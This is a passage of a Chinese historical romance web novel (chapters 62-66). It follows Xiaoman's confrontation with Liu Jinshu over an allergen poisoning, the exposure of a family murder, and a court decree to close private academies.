吴勇一跺脚,吩咐其余几人照顾陈令安,策马狂追去也。 陈令安呼呼喘息着,他觉得自己真是疯了。 她怎么找到这里的,刘瑾书又怎么知道自己对黄豆过敏的,他居然都没心思查,满脑子都是她不能受刘家的委屈。 自己分明都要死掉了,却还在担心她会不会吃亏。 他这是怎么了…… 风呼呼从耳边刮过,道两旁的柳树接连不断倒退着,小满不知道刘瑾书从哪里走了,但她知道在哪里会堵到刘瑾书。 她直冲翰林院。 “刘瑾书,滚出来!”灿灿的阳光下,一人一马矗立在肃穆威严的翰林院门口。 守门的差役何曾见过这情形,呆愣好一会儿才醒过神来,“这位姑娘,别喊啦,刘大人不在。” “不在?”小满骑在马上居高临下斜睨着他,“那就把他找来,他不来,就把你们管事的找来!堂堂翰林院,自诩正人君子,却做出如此下作卑贱的阴私勾当,我看别叫翰林院了,干脆叫伪君子院更名副其实!” 呦呵,下作、阴私…… 再看眼前的小姑娘,长得那个叫漂亮,明艳中带着娇憨,娇中还透出点张扬,张扬里又带着点泼,泼里还有三分纯真。 可真叫人喜欢! 莫不是刘大人惹的桃花债?那差役眼睛直冒绿光,心里跟长了草似的,忙不迭道:“姑娘且等等,我这就去找他。” 生怕她跑了。 须臾的功夫,翰林院门内门外,就有不少人偷偷摸摸等着看热闹。 掌院学士也听说了,强摁着想听墙角的冲动,装模做样喝道:“快把刘大人找来,都闹到官衙了,真是,像什么话。” “去找了去找了,诶,我听说,来的那位姑娘原是张家的姑娘,曾和刘大人议过亲。” “张家……是不是陈令安青梅竹马的那个姑娘?” “大人好记性,就是她!下官琢磨着,许是因为私事闹起来了。” 掌院学士很是惊讶,“那你快去看看刘大人来了没有,劝和着点,可别在衙门口让人看笑话。” “是是,下官这就去。” “有任何异常,马上回来报告。” “下官明白。” …… 没多会儿,刘瑾书就来了。 日头已有西坠的趋势,西面天空红灿灿一片,马背上的女孩子红衣胜火,晃得他几乎睁不开眼。 小满二话不说,马鞭照着刘瑾书就来。 旁边的长随大惊失色,蹭地跳出来抓住鞭梢,“你干什么?” “这话该我问你们!”小满把鞭子一扔翻身下马,鹅蛋脸上满是怒气,直盯着刘瑾书,“我看见你了,会死人的你知道吗!” 刘瑾书深吸口气,把自己复杂莫名辛酸非常的情绪极力压下去,“看见你,就知道他没事了。” “没事?怎么可能没事?”小满几乎要哭出来了,“接下来十几天,他都会难受得要死,喘不上气,不停咳,嗓子肿得说不出话,什么也吃不下,也根本睡不好觉。” 刘瑾书淡淡“哦”了声。 见他如此满不在乎,小满更气了,“都是你害的!”抬手就是一巴掌。 刘瑾书没躲,生生受了这一下。 “气消了吗?”他问。 “没有!”小满恨得直咬牙,又是一巴掌过去,“他差点就死了,你挨一巴掌就想了事?” 刘瑾书默然看着她,不躲不避,任凭她打。 旁边的长随看傻了眼,想拦又犹豫着看自家公子。 小满拔下簪子就刺。 她竟真想要他死! 刘瑾书再也无法忍耐,霍然抓住她的手腕,“张小满!” “连问都不问一句,就认定全是我的错,你不能这样偏袒他。”刘瑾书的声音低沉压抑,带着某种难以言喻的悲伤。 小满涨红了脸,眼中除了愤怒再也看不到其它。 “不用问,如果你问心无愧,定会当面质问陈令安,上书弹劾他,当着所有人把事情一五一十摆出来。而不是这样下黑手害他。” 这样了解他,刘瑾书笑了下,说不清是惊喜更多,还是苦涩更多。 “我问心有愧。”他低声说,“可我不得不这样做,陈令安也会默默吃下这个亏,朝堂上的事,谁对谁错哪个说得准。” 他慢慢松开手,“我和他之间的纠葛,不止有私事,还有公事,你不要管,想管也管不了。” 小满活动活动手腕,冷笑着说:“我最后问你一句话,你怎么知道他过敏的?” 刘瑾书默然片刻,拿出本小册子,“上面记着你在张家的一言一行,我发现你给陈令安做点心,宁肯用味道大的菜籽油,也不用气味清淡的豆油。还有你带出去的饭菜,从不用豆油,也没有任何豆制品。” 小满接过小册子,越看越心惊,脸上的血色一点一滴褪去,苍白得像汉白玉雕像。 “谁给你的?” 刘瑾书又笑了下,竟然因为她没有怀疑自己跟踪她而有点窃喜了。 “这人已经死在大狱里头了,算是罪有应得。”他想了想又追加一句,“以后还是远着张家人,虽说你现在脱离了张家的身份,可——” “是张安懿?”小满打断他的话。 死在大狱的人只有孙姨娘,入狱前她从没踏出过张家大门,刘瑾书也不大可能和一个姨娘见面,那只有张安懿的可能性最大。 刘瑾书顿了顿,“是。” “瞧不出你还挺怜香惜玉的,这个时候还维护她。”小满嗤笑一声。 “我不是……”刘瑾书想解释,又觉得解释了她也不会听,这一犹豫,小满就转身上了马,头也不回疾驰而去。 刘瑾书缓缓收回目光。 无视周围各种异样的眼神,他稳步向里走着,忽全身一震,才意识到他忽略个问题. 小满怎么跟去的宁熙园,怎么发现的是他? 机密行动,陈令安再信任她,也不会透漏半分,难道她来了翰林院,听到他和长随的对话?可好端端的她来翰林院做什么? 难不成…… 刘瑾书的心脏砰砰直跳,急忙回身去看。 风过长街,尽头空无一人。 - 翰林院门前的喧哗结束了,可流言悄悄传播开了——刘瑾书为一女子争风吃醋,竟给陈令安下毒,差点没把人给毒死! 这两天翰林院的访客明显多了起来,多是过来取文书,送个什么东西的,办完了,顺道喝杯茶,唠唠嗑。 “听说那事了没,啧啧,想不到刘大人也有被嫉妒冲昏脑袋的时候。” “不大可能吧,刘大人性子沉稳行事严谨,怎么可能因为情情爱爱丢了体面,或许有别的原因。” “你有所不知,前些天俩人还因为一本小册子大打出手,要不成王殿下恰巧路过制止他们,这俩人准打个鼻青脸肿。我还以为是什么机密,现在想想,大约是情书之类的东西。” “真的假的?” “我亲眼所见,岂能有假,你听我说……” 流言传到陈令安这里时,他愣了半晌,憋不住笑了。 “你还笑。”小满气哼哼的,“遭这么大罪,半条命都没了,结果你当什么都没发生,还真和他说的一样吃哑巴亏。” 陈令安道:“的确吃了个闷亏,不过倒让我有借口在家休养一阵,躲过了一件棘手的差事,现在着急的只怕是刘方。” 小满不明白,让他把话说清楚点,“你们到底因为什么闹起来?说实话,你叔父自尽的时候,我特别害怕皇上发落你,好歹平安度过,以后日子还长,你不能再不把自己的命当回事。” 陈令安渐渐敛了笑,眼神变得雾一样朦胧,瞧得小满有点不好意思了。 “小满,”他说,“我有放不下的人了,会珍惜自己这条命的。” 小满点头,“那就好,砚宁可不能没有哥哥。” 陈令安默然一会儿,轻轻握住她的手。 是你呀…… 第63章 五月炎阳似火, 照得大地白亮亮一片。 小满眯起眼睛看着张家大门,应是许久没有打扫过了,门洞顶子上结了蜘蛛网, 悬着的红灯笼都褪了色,暗沉沉好像蒙了一层土。 大门紧闭,门庭冷清。 不过半年的时间, 张家就破败成这个样子了。 小满说不上心里是个什么滋味, 抬起手,刚要叩响门环,大门却从里打开了。 “三妹妹!”张弼简直不敢相信自己的眼睛,激动得声音都变了调。 他的反应和预想完全不同,小满呆了呆, 想好的话突然说不出口了。 “你是要回来?太好了, 我就知道你一定会回来, 你是我亲妹妹, 一时赌气才离家,没关系, 张家的大门永远为你打开, 你的院子我还给你留着,什么也没动。” 张弼越说越兴奋, “你回来了,太太也会回来对吧,咱们家又能恢复以前的日子了。” 小满皱皱眉头, “张公子,我们不会回张家的,永远都不会!” 张弼的笑容僵住了,逐渐被阳光晒化了。 小满深吸口气, 正色道:“我找张安懿,请她出来说话。” 张弼:“她不在家。” “她去哪儿了?” “不知道。” 不知道?小满失笑,“那她什么时候回来?” “不知道。” 小满有点生气了,“她到底在哪里,你不说的话,我只能报官找她了。” “我真不知道,去年冬天她就不爱回家了,过年也没回来。”张弼的声音含着几分愤愤,“她姨娘昧下那么多银子,肯定给她留了退路,人家早拿着银子跑了,指不定在哪里吃喝玩乐,哪顾得了我这个亲哥。” 没问到想知道的,小满不耐烦听他抱怨,转身就走。 张弼兀自喋喋不休说着,“她不顾我就算了,祖母竟也不管我了,我是张家唯一的男丁,虽是庶出,也和嫡出是一样的,祖母怎能扔我下不管!” 小满停住脚步,“你说老太太也走了?” 张弼笑起来,“走了,都走了,现在家里就我和姨娘,哈哈,姨娘一直想做张家的女主人,这下她真是称心如意了。” 小满觉得蹊跷,老太太把这个大孙子当成命根子,谁都可能走,就她不可能。 “老太太什么时候走的?”她问。 “不知道,不知道,树倒猢狲散,张家倒啦,倒啦。” 他的声音似哭似笑,听得小满头皮一阵阵发麻。 “大哥哥。”小满看着他身上并不寒酸的衣裳,又用起以前的称呼唤他,“你有举人的功名,吃喝是不愁的,锦衣卫查抄张家的时候,没有拿走你们用惯了的东西,日子紧一紧,还是能过下去的。” 张弼擦擦笑出来的眼泪,“张家的名声都臭了,有个犯罪的父亲,我还能有什么前途?举人?除了每月三十两膏火银,屁都没有。” 听了这话,小满先前那点子唏嘘顿时烟消云散,“三十两,足够小户人家一年的开销了,你和你姨娘一个月就三十两……你也知道今非昔比,一味维持以前富贵公子的排场,只会让你更难受。” 她瞅了眼张弼身后的宅院,“两个人住,不觉得太大了吗?” 张弼愣愣望着小满的马车远去,直到再也瞧不见了,才昏昏沉沉关上大门。 因为缺少打理,原本精雅的宅院变得破败且毫无章法,张弼看着半人高的蒿草,蛛网遍织的门窗,忽一跺脚,立时去了牙行。 三丫头的话有道理,就他和姨娘两个人,实在没必要住这么大的房子。 京城寸土寸金,张家地段好,盖房子用的木料都是上好的,怎么也能卖个上万两。 有了这些钱,他就搬到乡下住,买上五百亩地,盖所不大不小的院子,静心读书,再不理会那些乱七八糟的破事。 他有举人功名,在京城不显,在小地方却会受人景仰,那些乡下人也不敢找他麻烦。 一次不中,还有两次,三次,他就不信,自己一辈子只能是个举人! 想到自己披红挂彩跨马游街的景象,张弼一阵兴奋,只觉耳聪目明,浑身都来了劲儿。 卖得急,自然卖不上好价钱,买家只肯出六千两,张弼是一刻也不想再呆在这里了,算算买地建房后还有不少结余,便立即签了契约,当天就去衙门过了户。 回来就催姚姨娘收拾东西。 这突如其来的消息砸得姚姨娘脑袋发懵,“卖房子,为什么要卖,卖了我们住哪里?” 张弼信心满满说了他的计划,“与其深陷张家这个泥潭,不如及早抽身,你看小满、君懿,自从离开了张家,那是过得一天比一天好。我算是明白了,待在张家就会霉运连连,离开张家就会顺顺当当。” 他给姚姨娘看银票,“四千两大兴钱庄的银票,见票即兑。” “才四千两?你叫人骗了,这块地皮就值八千两,再有盖的房子、园子,低了一万五都不卖!” 姚姨娘咬牙,“不行,谁买的,我找他去,这买卖不算数!” 听闻亏了这许多银子,张弼也是一阵肉疼,却道:“房子都过户给人家了,再找也没用,算了,四千两也够咱们用。赶紧收拾东西,明天一早,人家就要来收房了。” 这么快! 姚姨娘倒吸口冷气,眼见瞒不过去了,只得把老太太的死告诉儿子。 “被五妹妹杀死了?!” 张弼如挨了一记闷棍,眼前一阵发黑,脑袋几乎要炸开了。 “怎么会,怎么会这样……”他喃喃说着,身子软软向后瘫倒。 姚姨娘慌忙扶着他坐下,“儿啊,别吓唬娘,咱们赶紧把钱退回去,不会有人发现的。” “晚了,晚了,到手的大便宜,人家怎会松口?”张弼抱着头痛苦地抽搐着,“所以她才会跑,所以祖母会不见……” 他霍地蹦起来,一把揪住姚姨娘的衣领,瞪着血红的眼睛嘶吼,“该告发她,告发她,你为什么帮她毁尸灭迹,我叫你们连累了,生生被你们连累死了!” 姚姨娘哭道:“你说得容易,弑亲重罪,你会连坐!革除功名,流放千里,你一辈子就完了!如果就此瞒下,咱们娘俩还有翻身的指望。” 谁知道你竟把房子卖了! “张安懿,我要杀了她,杀了她!”张弼如困兽般在屋里来回转圈,“她去哪儿了,她去哪儿了,我要杀了她,还有张小满,她是不是知道什么,所以才让我卖房子。” 姚姨娘抹一把眼泪,“如今说这些都没用了,收拾东西,我们现在就走,连夜出城。” 张弼早没了主意,姚姨娘说什么,便是什么了。 可他们还没出城就被抓住了——很简单,大包小包,形色慌乱,又是赶在关城门前出城,自然引起守城士兵的怀疑。 一盘问,姚姨娘还算得镇定,张弼就顶不住了,差点吓昏过去。 送到五城兵马司一审,根本不用过刑,张弼什么都交代了。 转天,差役从张家老井里打捞出边老太太腐烂的尸首,随即,缉拿张安懿的告示贴满了大街小巷。 听到这个消息时,小满和蒋夫人半天没回过神。 “她居然杀了老太太,也太……”蒋夫人不知说什么好,半晌才摇摇头,“估计忍太久了,身边又没亲娘护着,唉,我不该把她扔在张家不管。” 小满忙道:“母亲可千万别这么想,她和孙姨娘都是一路人,你收留她,就成了农夫与蛇。从小到大,张安懿拿了你那许多好处,可有替你说过一句话?想想她姨娘怎么对你的。” 她冷哼一声,“孙姨娘也够阴险,她肯定早看出来陈令安对黄豆过敏,却一直隐忍不发,单等着拿这招给张安懿换前程。哼,算计来算计去,她闺女也没讨到便宜,可惜她死得太早,不然我真想看看此刻她脸上的表情。” 方妈妈也说:“姑娘说得对,那等小人不值得同情,这叫自作自受。” 蒋夫人叹口气,“君懿的姨娘和哥哥出了这样的事,她也不好受,问她要不要去看看。再拿五百两银子,给老太太装殓入棺,做场法事。” 方妈妈应声去了,回来后说:“四姑娘不去,她说等临别时再给姨娘和哥哥送行,银子什么的她有,送去的银子她原封不动退了回来。还说,她姨娘逼孙姨娘当妾,如今被孙姨娘母女连累入罪,这是因果报应。” 小满眉棱骨又开始跳了,“她天天闷在屋里不出来,都干什么呢?” 方妈妈:“研究佛经,抄了一架子的经文,她不会想出家吧。” 蒋夫人急了,“看紧她,要是去寺庙,就给我挡回来。” 小满忙道:“母亲别急,等我给她找点事做,人一忙起来,就不会有杂七杂八的念想了。【踏雪独家】” 找点什么事好? 小满想想,“且容我找人商量商量。” 那人,自然就是陈令安。 事不宜迟,小满跳上马车去了陈家巷。 廊庑下坐着吴勇,拿着扫帚,一脸苦大仇深的模样。 小满乐了,“吴大哥又惹恼他啦?” 吴勇唉声叹气说:“快别提了,我就传个话,结果大人给我一顿劈头盖脸好骂,还罚我扫院子。” 小满笑道:“他总是这样,猫一阵狗一阵的,说不清哪句说不对,他就犯毛病了。” “不不,这回是真遇到棘手事。”吴勇往书房那边瞧了一眼,“大人是真的心烦,唉,这事,两难!” 小满想问什么事,却听书房中传来一个陌生男人的声音:“陈大人,这是你父亲毕生的心血,你当真不管?” 第64章 谁在里面?小满用眼神询问吴勇。 吴勇揪下一根扫帚枝儿, 在地上写出一个“李”字,停了会儿,又划拉出“状元”二字。 稀奇了, 文臣,世家子弟,清流, 竟登上陈令安家的门! 小满不便靠近, 和吴勇一道坐在廊下的台阶上,悄声问怎么回事。 吴勇嘿嘿傻笑几声,却问那天她怎么去了宁熙园。 没什么好隐瞒的,小满如实道:“何平又被皇上罚到翰林院搬书,捎话晚上不回来, 我给他送铺盖, 正好撞见刘瑾书和他家长随说话。” 吴勇竖起大拇指, “姑娘厉害!大人还担心刘家刁难你, 巴巴地让我追,结果你把刘瑾书那一通打骂, 嘿嘿, 解气!” 小满笑笑,看了看书房, 眼神里满是担忧。 屋里的人不知在说什么,声音压得很低,又过了片刻, 随着李麟一声叹息,书房门开了。 地上坐着的两人齐刷刷扭头看过来。 李麟一怔,不自然地咳咳两声,又回头对屋里重复一句, “我是绝不妥协的,这个口子一开,所有的书院都会遭殃。” 他一走,小满立刻迈进书房。 起风了,窗前的竹林飒飒摇曳着,明亮的阳光被切割成破碎的斑点,水一样游动在陈令安脸上身上,让他看起来有些晦暗难辨。 小满轻轻坐在他旁边的椅子上,“发生什么事了,一个个愁眉苦脸的。” 陈令安看着她苦笑:“刘方上奏章,主张增加官学数量,关闭各地书馆,皇上似有应允之意。” 小满心头一跳,“人家书院办得好好的,为什么要关?” 陈令安讥诮笑道:“刘方为打压异己,皇上想加强朝廷对儒生们的控制,个别书院传播邪学的事,正好给他们口实。现在刚放出口风,民间官场全是一片反对,现在我倒真佩服刘方了。” 小满恍然大悟,“怪不得皇上突然罚何平去翰林院搬书,原来怕他卷进这场风波!” 陈令安揉揉发紧的眉心,“反对声越大,皇上就越忌讳,关闭书院的旨意,只怕不日就会明发。” 小满想到刚才李麟的话,立时猜到他的来意,“旨意会下到锦衣卫吧,李麟找你,难道想让你抗旨?” 陈令安点点头,“刘方必会拿南翠书院开刀,李麟大概觉得我会舍不得。怎么可能,我是锦衣卫,锦衣卫呀,怎么可能抗旨?他真是太天真了。” 他轻声笑着,语气不屑,带着嘲弄,可眼中分明蓄着浓浓焦灼和痛苦。 喉咙苦涩酸痛得厉害,小满接连深吸几次,才勉强开了口:“我不想你死。” 他失笑:“我也不想死。” “我也不想你亲手拆毁你父亲创立的书院。” “嗯,所以我打算继续‘病’着。”陈令安往后一仰,倒在竹子躺椅上来回悠着,“等这阵风刮过去再‘好’。” 小满轻轻吁口气,“我走了,你好好在家,哪儿也不许去。” “等等。”陈令安叫住她,“你找我什么事?” 小满一挥手,“鸡毛蒜皮的小事,都不值当说,我走啦,你歇着吧。记着,做戏就做全套,别叫皇上以为你故意躲差事。” 陈令安笑了笑。 皇上怎会不知道?那天他从宁熙园回来,就强忍着难受给皇上写了密奏。 他不结党,不交友,没有老师,没有同年,也没有父兄族亲,唯一的支持只有皇上。 只有让皇上放心,他才能在朝堂上立足。 那时候他还能用“早有端倪”的理由给自己开脱,现在刘方干脆明上奏章,倒让他的心思昭然若揭了。 所以李麟才来找他。 皇上能容下文臣们的反对,却不允许锦衣卫有半分不从。 他只是身子不适,请了几天假,吕良就让吴勇传话“由南镇抚司暂代北镇抚司职责”,如果他再不“好”起来,官职一定不保。 降职,下一步就是清算、问罪、抄斩。 陈令安深深叹息一声,疲惫地闭上眼睛。 他清楚的知道,立即带人烧毁南翠书院,是目前最好的选择。 父亲只做了两年山长,后续十年一直都是陈绍管着,谁提起都会说书院是陈绍的书院,没人会想到父亲。 他为什么迟迟做不出决定。 眼前闪过小满的脸,妹妹的脸…… 好难,好难啊,父亲,你当时又是怀着什么样的心情做出选择? 室内寂然,一阵熏风穿窗而过,窗子轻轻晃动,似声轻叹。 - 小满没回家,直接去了林园。 林亭先生不在,林姨说他最近都在翰林院,“一个月都见不到人影儿,就端午节回来吃了顿饭。”又盯着她瞧,“无精打采的。” “我遇到难事了。”小满琢磨怎么开口。 林姨却未卜先知似地一笑,“是为了南翠书院的事吧?” “您怎么知道?”小满吃惊不小,随即一喜,“必是林亭先生留下话了,快说,快说,他能把何平捞出来,就一定有法子帮陈令安。” 林姨却道:“他为什么要帮陈令安?” 诶?小满一怔,她从来没考虑过这个问题,只是下意识认为林亭先生会帮忙。 “他、他……” “陈令安既不是我们的学生,也不是我们的亲朋,我们为什么要冒着触怒天威的风险,去帮他?” “可他在林亭先生私塾里读过书,他去潜邸就是林亭先生介绍的。”小满话音一顿,又怔楞住了。 林姨带着几分悲悯地看着她,“你也察觉到了,我们对他已是仁至义尽。他离开宣府的时候,我们就和他挑明了,此后他位极人臣也好,锒铛入狱也好,都和我们没关系。” “可是书院,书院没有错,因噎废食,林亭先生绝对不会赞成禁毁书院的。” “那倒是,所以皇上才把他拘在翰林院编书,却一次不肯见他,相当于把他和何平软禁起来了。” 小满浑身皮肤猛地收紧,“他们有没有事?皇上也忒狠了!” 林姨深深呼出口浊气,“不狠做不了人上人,林亭是皇上的老师,更是皇上的臣民,况且他早就远离朝堂,好容易过了几年安生日子,我不允许有人再拖着他蹚浑水。小满,这事我们无能为力。” 小满只觉山一样大石头压着她的胸口,喘不过气,说不出话,憋闷得她直想大喊大叫。 “我……”她艰难地张开嘴,眼泪却扑簌簌滚落下来。 林姨心里也不好受,替她擦擦眼泪,“你也不要再管了,多少能臣干吏都头疼的事,你一个小姑娘怎么可能解决?” “我不忍心看着南翠书院被毁,那是他父亲仅存的心血,总要试一试。” “哪怕不会改变最终的结局,还要试?” “嗯。” “你总是这样倔强。”林姨摇摇头,从抽屉最下面抽出一张纸,“拿去,成不成的我不保证。” 小满看着上面密密麻麻的名字,“这是?” 林姨:“是书院头两年的学生名单,我划掉的那些不用看,剩下的你们可以联系试试。虽说皇权至高无上,可还有一句叫‘民意不可违’,不过我警告你,当今不是软心肠的菩萨,他真会杀人的。” 绝境逢生,小满捧着名单几乎要哭了,“谢谢林姨,我绝对不会把您交代出去。” 林姨翻个白眼,挥挥手,“快走吧你。” 出得门来时,陈砚宁站在廊下等她,要跟她一起去。 “你们刚才说的话我都听到了,我……我总是充当被保护的人,可我也想,保护我想保护的人。” 小满轻声道:“这事很凶险,我一个人无所谓,你不行,他好不容易才找到你,若有个……他会崩溃的。” 陈砚宁抓住小满的手,“你若有个万一,哥哥也会崩溃。” 小满轻颤了下。 陈砚宁:“我是肯定要去的,反正哥哥都会崩溃,不如一次崩完得了。” 小满忍不住噗嗤笑出声,果然近朱者赤近墨者黑,这小妹妹现在颇有林姨的风范了。 她二人非常有默契地绕开了陈令安。 “先找谁好?”陈砚宁看着那些名字,“我一个也不认识。” 小满笑道:“我也不认识,不过我知道该找谁——李、麟!” 陈砚宁惊呼一声,“抢走何师兄状元的那人!” “正是。”小满把碰到李麟的经过一说,胸有成竹道,“他肯定会帮忙的,说不定还会感谢咱们。” 李家在京城有产业,她们没费多少功夫就打听到李麟的住所。 “谁找我?”李麟放下笔,满脸不可置信,“你再说一遍。” 长随答道:“是两位姑娘,一位是何平榜眼的妹妹,一位是陈令安大人的妹妹。” 李麟呆了一瞬,眼前莫名浮现出那张羞怯又文雅的脸。 见他久久没动静,长随问,“没有长辈陪着她们,又是年轻姑娘,要不,还是不见了?” 李麟一激灵回过神来,忙道:“太失礼了,你,啊不,叫丫鬟请她们去小花厅坐坐,我马上就到。” 长随眨巴眨巴眼,“公子忘了?咱家没丫鬟,除了我和马厩的老牛,只有个做饭的老婆婆,耳朵还背。” 李麟:“……那你去,别吓着人家。” 长随摸摸自己的脸:我也没长着三头六臂哇,咋个还能吓着人涅! 第65章 这是座小小的两进宅子, 瞧着还不如陈家花园子一半大,却布置得极为精致。亭台楼阁,山石花木, 一样不缺,建筑虽多却不见拥塞,屋子虽小却不见逼仄, 瞧得小满暗暗惊叹。 小花厅更是有趣, 竟是一座探出水面的小石舫。 石舫用月洞状的格栅门隔成两间,外间稍大,左右窗边各两张太师椅,椅子中间是小四方桌,桌上花瓶插着叫不上名的花草。 里间放着一张凉榻, 瞧着像是主人小憩的地方。 小满悄声和陈砚宁说:“刚进门还觉得这个状元郎挺有意趣的, 现在看有点傻, 在这里睡觉, 又是水又是草的,不等着喂蚊子?” 陈砚宁嘴角刚弯起来, 就见李麟一脚踏进石舫, 视线也落在她身上,她那抹笑意就成了尴尬, 脸也涨得通红。 其实小满声音很小,李麟根本没听见,纯是她自己心虚罢了。 长随端托盘进来给两位姑娘上茶, 拿眼一搭自家公子:呦呵,这么短的功夫居然换了身衣裳! 双方见过礼,各自落座。 小满是个直白性子,开门见山提起来意, “实不相瞒,你对陈令安说的话,我多少听了一两句,这才冒昧登门求你帮忙。” 李麟发自内心地赞叹:“两位姑娘大义,多少男儿都畏惧天威不敢直言,姑娘却仗义执言,真乃巾帼不让须眉,不,是更胜须眉。” 说着,他起身郑重一揖。 小满砚宁忙站起来还礼,小满道:“李大人过誉,我俩没那么大公无私,说到底也是存了私心的。” 李麟笑道:“人之常情,一点私心没有,那是完人、圣人,你我这样的凡夫俗子是达不到的。” 他说话着实有趣,陈砚宁不由抬头多打量他两眼。 李麟感受到她的目光,略显不自然地端正坐姿,拿起那份清单迅速扫一遍,沉吟道:“时间比较久远,上面的人有些我知道,有些我不知道,全部联系到需要费些工夫,你们先回家等等,我有消息了会通知你们。” 小满松口气,想了想补充道:“别让陈令安知道,你去林园找陈姑娘。” 陈砚宁:啊,我? 小满解释道:“我不想让我娘担心,前几天何平被捉到翰林院搬书,她就忧心得吃不好睡不着的。” 李麟吃惊地看着陈砚宁,“陈姑娘住在林园?” “嗯。”陈砚宁微微低下头避开他的视线。 小满笑道:“她是林夫人唯一的弟子,想不到吧!” 李麟呆滞了会儿,才消化了这个消息,喃喃道:“怪不得,怪不得……” “怪不得什么?”小满问他。 李麟笑笑,没有回答,只说自己现在就开始找人,“宜早不宜迟,刘阁老昨日上了奏章,最迟三天,皇上必有旨意下发。” 提到刘阁老,不可避免地想到刘瑾书,李麟深深叹气,他原本对刘瑾书印象不错,奈何变故接二连三,他和刘家的分歧越来越大,只怕和刘瑾书分道扬镳的日子不远了。 日头一点点坠下山,刘家的灯笼一盏接一盏地亮了。 正房,刘瑾书掀帘出来。 屋内药香弥漫,迎面乍然拂过清新的晚风,浑身上下不由一阵轻松。 母亲在宁熙园受到惊吓,当天晚上就高烧不退,足足躺了八天才见好。可身上那股子精神气全没了,瞧着竟老了十岁不止。 她不说,刘瑾书也知道母亲心里有多后怕,有多懊悔。 父亲奏章一出,他就明白陈令安为何要陷害父亲了,但他不后悔使阴招——陈令安丢了半条命,他母亲何尝不是? 刘瑾书重重呼出口气,去了父亲的书房。 刘方正在看书,看见忧心忡忡的儿子不由一乐,“等你一天,终于来了。” 刘瑾书上前一瞅他手里的书,哭笑不得,“你都成众矢之的了,还有心情看拟话本。” “总读大部头书不免枯燥,偶尔也需要调剂一下嘛。”刘方意犹未尽放下话本,趿着鞋走到窗前,盯着沉沉的夜色若有所思。 “众矢之的……”刘方笑了声,霍地转身,双目炯炯,“我要的就是众矢之的!” “哪个位极人臣的不是众矢之的?都说我是为安插亲信才这样做,我要那么多亲信干什么,亲信越多,死得越快,陈绍才死几天,我还不至于这么快就忘了他的死因!” 刘方背着手,在屋里走来走去,“这件事谁反对,谁赞成,都随便,我不会提拔任何人,也不会打压任何人,最终的决定权在皇上手里。我知道你不赞成,没关系,你上书弹劾我,不用把我当你父亲,就当同僚,怎么想就怎么做。” 刘瑾书觉得不可思议,“父亲建议禁毁书院,只为了显示自己做‘孤臣’的决心?” 刘方笑着摇摇头,“早在春闱的时候皇上就有此心了,就是没法明说,只等有人替他开口,可就连最会揣测圣意的陈令安都假装听不懂,皇上岂能不恼?” “自前朝起,几百年来一直说‘与士大夫共治天下’,皇权与相权之争始终不断,到了我朝,也无法避免。” “先帝就曾废除丞相,当今虽重置内阁,加大内阁的议事权,但绝不允许相权盖过皇权。想想杨阁老,陈阁老,你应是明白这个道理的,所有官员,手中的权力都来自皇上。” 刘瑾书似是明白了:“只要获得皇上的支持,父亲就可坐稳首辅之位。” 可怎么觉得有点不大对劲? 刘方捋着胡子,瞅着纠结的儿子笑道:“是不是有点陈令安的意思?” 被父亲戳破心思,刘瑾书不好意思地笑笑,随即正色道:“陈令安罗织罪名,制造冤狱,践踏律法,行事全凭好恶,父亲和他不一样。” “他走的是最为艰险的一条路,我可走不了。”刘方笑着摆摆手,“可惜呀,他把自己的后路断了。” 刘瑾书忽而沉默下来。 - 三天后,皇上准了刘方的奏章,朝野上下顿时一片哗然。 这天小满来找陈令安,生怕他冲动似的,从早到晚一直黏在他身边,哪怕陈令安再三保证自己绝不蹚浑水,她也不肯走。 夜色如墨,只有几颗星星发出微弱的光芒。 没有风,窗外的竹林已经完全隐匿在黑暗中,草虫幽幽长鸣,如泣如诉。 陈令安吃了药,这药副作用太大,他本不想吃的,可小满硬逼着他吃:“喉咙是不肿了,身上的疹子还没下去,必须吃。” 药效上来,有点昏昏欲睡了。 “你该走了。”他打个哈欠,“我叫人送你。” 小满嘴上答应着,身子未动。 陈令安努力抬起眼皮,“还有事?” “没事就不能在这里坐会儿?”小满突然发了脾气,“想让谁陪你,这么着急赶我走。” 陈令安晃晃脑袋,努力赶走睡意,“没想让谁陪我,除了你,我还跟哪个女孩子接触过?说话要凭良心。” “猜你也不敢。”小满嘀咕一句,贴心地给他盖上薄被,“你睡你的,我马上就走。” 陈令安闭上眼睛,不一会儿又睁开,“你这么看着我,我睡不着。” “谁看你了!”小满挪开视线,脸颊在烛光的映衬下,有如蒙上红晕的羊脂白玉。 陈令安闭上眼睛,“太亮。” 屋内一黑,小满吹灭了蜡烛。 “陈令安?” “嗯?” “有时候想想,其实我也挺幸运的,打小被拐,却遇上了养父养母和林姨他们,生母早逝,可有个把我当亲生女儿一样疼的嫡母,父亲作践我,但是有你帮我脱离了张家,我知足啦。” “这才哪儿到哪儿,你就满足了。” “不能贪图太多,贪多嚼不烂。” “这话不是这样用的,有空多读书。” “我有空,你教我?” “也不是不可以……” “真的?”小满喜出望外,扭过头去看凉榻上的陈令安,“你可不许不认账。” 夜色太浓,看不清他的面容,只模糊听到他似是“嗯”了声。 小满不管,对着陈令安的方向喋喋不休,“我不光要读书写字,还要学琴,学下棋,学画画。诶你不知道吧,我有画画的天赋,林姨都夸过我,什么小鸭子、小房子、小花小草,还有邻居家的大黄,可像啦。赶明儿我给你画一张!” 一开始陈令安还有回应,后来听不到了。 小满闭上嘴,空气立时变得寂静无比。 “陈令安?” 回答她的只有他绵长的呼吸声。 她就坐在凉榻前的绣墩上,一伸手,就能摸到榻沿。 小满站起来,摸索着坐在榻边上,此时月亮从厚厚的云层后露出脸,清幽的月光宛若水银泻地,照得满屋如浸在水里一般。 小满望着那张脸,手指在空中细细描绘着他的眉眼,燕语呢喃:“你怎么长得这么好看,好看得不得了,偏那张嘴讨厌得很。” “陈令安。” “我喜欢你,听见了吗?” 黑暗中,他的呼吸依旧均匀悠长。 “你喜欢我吗?” 意料之中,没有回应。 小满低下头,慢慢的,慢慢的,吻上他的唇。 凉凉的,润润的,柔软得出乎想象。 或许是她的错觉,这一刻,陈令安的呼吸停止了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 65-70 第66章 如所有人预料的那样, 禁毁书院的旨意一下,南翠书院首当其冲。 冷清多日的南翠书院蓦地成为朝野上下关注的中心。 李麟和二三同僚,还有几位曾在书院就读过的文士, 齐齐聚集在书院门前的空地上,小声商讨着如何应对接下来的局面。 尽管他们一个个努力做着轻松的表情,互相鼓劲打气, 好像一定能说服皇上收回旨意似的, 可小满一来,那股弥漫在整个书院的紧张肃杀的气氛,还是袭得她呼吸一窒。 时间太短,尽管李麟积极奔走,还是只联系到名单上不到一半的人, 